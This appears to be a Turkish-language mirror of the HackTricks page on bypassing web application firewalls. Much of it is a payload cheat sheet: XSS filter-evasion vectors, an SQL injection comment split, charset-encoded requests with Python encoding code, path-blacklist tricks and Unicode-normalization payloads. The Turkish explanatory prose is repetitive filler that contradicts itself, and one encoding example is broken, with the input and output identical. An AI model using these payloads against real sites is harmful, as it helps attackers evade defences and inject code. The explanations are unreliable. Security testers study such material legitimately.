mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
138 lines
9.7 KiB
Markdown
138 lines
9.7 KiB
Markdown
# WAF Geçişi
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||
|
||
</details>
|
||
|
||
## Regex Geçişleri
|
||
|
||
Farklı teknikler, güvenlik duvarlarındaki regex filtrelerini geçmek için kullanılabilir. Örnekler arasında büyük/küçük harf değiştirme, satır sonu eklemek ve payload'ları kodlamak bulunur. Farklı geçiş teknikleri için [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) ve [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html) kaynaklarına bakabilirsiniz. Aşağıdaki örnekler [bu makaleden](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) alınmıştır.
|
||
```bash
|
||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||
<script>alert(XSS) // #removing the closing tag
|
||
<script>alert`XSS`</script> #using backticks instead of parenetheses
|
||
java%0ascript:alert(1) #using encoded newline characters
|
||
<iframe src=http://malicous.com < #double open angle brackets
|
||
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
|
||
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
|
||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
|
||
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
|
||
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
|
||
<iframe src="javascript:alert(`xss`)"> #unicode encoding
|
||
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
|
||
new Function`alt\`6\``; #using backticks instead of parentheses
|
||
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
|
||
%26%2397;lert(1) #using HTML encoding
|
||
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
|
||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
|
||
```
|
||
## Karakter Seti Kodlaması
|
||
|
||
Charset encoding, web uygulamalarında kullanılan karakterlerin nasıl kodlandığını belirleyen bir mekanizmadır. Bu kodlama, web sunucusu ve tarayıcı arasında karakterlerin doğru bir şekilde iletilmesini sağlar. Ancak, bazı durumlarda karakter seti kodlaması, web uygulamalarının güvenliğini artırmak için kullanılan bir güvenlik önlemi olarak da kullanılabilir.
|
||
|
||
Web uygulamalarını hedef alan saldırganlar, karakter seti kodlamasını manipüle ederek Web Uygulama Güvenlik Duvarı'nı (WAF) atlayabilirler. Bu, saldırganların zararlı kodları veya saldırı vektörlerini gizlemelerine ve web uygulamasının güvenlik önlemlerini aşmalarına olanak tanır.
|
||
|
||
WAF bypass teknikleri arasında karakter seti kodlamasını manipüle etmek de bulunur. Saldırganlar, karakter seti kodlamasını değiştirerek zararlı kodları veya saldırı vektörlerini gizleyebilirler. Bu, WAF'ın zararlı içeriği algılamasını zorlaştırır ve saldırganlara web uygulamasına erişim sağlar.
|
||
|
||
Karakter seti kodlamasını manipüle etmek için çeşitli teknikler bulunur. Bunlar arasında karakter seti dönüşümü, karakter seti kaçışı ve karakter seti karıştırma gibi yöntemler bulunur. Saldırganlar, bu teknikleri kullanarak WAF'ı atlayabilir ve web uygulamasına zarar verebilirler.
|
||
|
||
Karakter seti kodlaması manipülasyonu, web uygulamalarının güvenlik açıklarını tespit etmek ve kapatmak için kullanılan bir pentesting tekniğidir. Bu teknik, web uygulamalarının güvenliğini artırmak ve saldırılara karşı korumak için önemlidir.
|
||
```bash
|
||
# Charset encoding
|
||
application/x-www-form-urlencoded;charset=ibm037
|
||
multipart/form-data; charset=ibm037,boundary=blah
|
||
multipart/form-data; boundary=blah; charset=ibm037
|
||
|
||
##Python code
|
||
import urllib
|
||
s = 'payload'
|
||
print(urllib.parse.quote_plus(s.encode("IBM037")))
|
||
|
||
## Request example
|
||
GET / HTTP/1.1
|
||
Host: buggy
|
||
Content-Type: application/x-www-form-urlencoded; charset=ibm500
|
||
Content-Length: 61
|
||
|
||
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
|
||
```
|
||
## Obfuskasyon
|
||
|
||
Obfuskasyon, saldırganların saldırılarını tespit etmek ve engellemek için kullanılan Web Uygulama Güvenlik Duvarı'nı (WAF) atlatmak için kullanılan bir tekniktir. Obfuskasyon, saldırıyı gizlemek veya saldırıyı WAF tarafından algılanmasını zorlaştırmak için kullanılan çeşitli yöntemleri içerir.
|
||
|
||
### Karakter Kodlaması
|
||
|
||
Karakter kodlaması, saldırıyı gizlemek için saldırı dizelerini farklı karakterlerle değiştirme işlemidir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır. Örneğin, `<script>` ifadesini `<script>` olarak kodlamak, WAF'ın bu ifadeyi algılamasını engeller.
|
||
|
||
### Karakter Dizisi Birleştirme
|
||
|
||
Karakter dizisi birleştirme, saldırı dizelerini birden çok karakter dizisine bölmek ve ardından bu karakter dizilerini birleştirerek saldırıyı gerçekleştirmektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü saldırı dizisi parçalara ayrıldığı için bütün olarak algılanmaz.
|
||
|
||
### Büyük/Küçük Harf Değiştirme
|
||
|
||
Büyük/küçük harf değiştirme, saldırı dizelerindeki harfleri büyük veya küçük harflerle değiştirme işlemidir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü harflerin büyük veya küçük olması WAF tarafından farklı şekilde işlenir.
|
||
|
||
### Boşluk Ekleme
|
||
|
||
Boşluk ekleme, saldırı dizelerine ekstra boşluk karakterleri eklemektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü eklenen boşluk karakterleri saldırıyı değiştirir ve WAF'ın saldırıyı tanımasını engeller.
|
||
|
||
### Karakter Dizisi Karıştırma
|
||
|
||
Karakter dizisi karıştırma, saldırı dizelerindeki karakterleri rastgele sıralamak veya yerlerini değiştirmektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü saldırı dizisi düzeni değiştiği için WAF tarafından tanınmaz.
|
||
|
||
### HTML Etiketi Ekleme
|
||
|
||
HTML etiketi ekleme, saldırı dizelerine HTML etiketleri eklemektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü eklenen HTML etiketleri saldırıyı değiştirir ve WAF'ın saldırıyı tanımasını engeller.
|
||
|
||
### URL Kodlaması
|
||
|
||
URL kodlaması, saldırı dizelerini URL kodlaması kullanarak değiştirmektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü URL kodlaması kullanılan saldırı dizisi WAF tarafından farklı şekilde işlenir.
|
||
```bash
|
||
# IIS, ASP Clasic
|
||
<%s%cr%u0131pt> == <script>
|
||
|
||
# Path blacklist bypass - Tomcat
|
||
/path1/path2/ == ;/path1;foo/path2;bar/;
|
||
```
|
||
## Unicode Uyumluluğu
|
||
|
||
Unicode normalizasyonunun uygulamasına bağlı olarak (daha fazla bilgi için [buraya](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), Unicode uyumluluğunu paylaşan karakterler WAF'ı atlayabilir ve amaçlanan yükü çalıştırabilir. Uyumlu karakterler [burada](https://www.compart.com/en/unicode) bulunabilir.
|
||
|
||
### Örnek
|
||
```bash
|
||
# under the NFKD normalization algorithm, the characters on the left translate
|
||
# to the XSS payload on the right
|
||
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
|
||
```
|
||
## Boyut Sınırlarını Aşma
|
||
|
||
Bulut tabanlı WAF'lerde, yük boyutu X'ten büyükse, istek WAF tarafından kontrol edilmez. Bunları atlamak için sadece bunu kullanabilirsiniz.
|
||
|
||
### IP Dönüşümü
|
||
|
||
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
|
||
|
||
<details>
|
||
|
||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||
|
||
</details>
|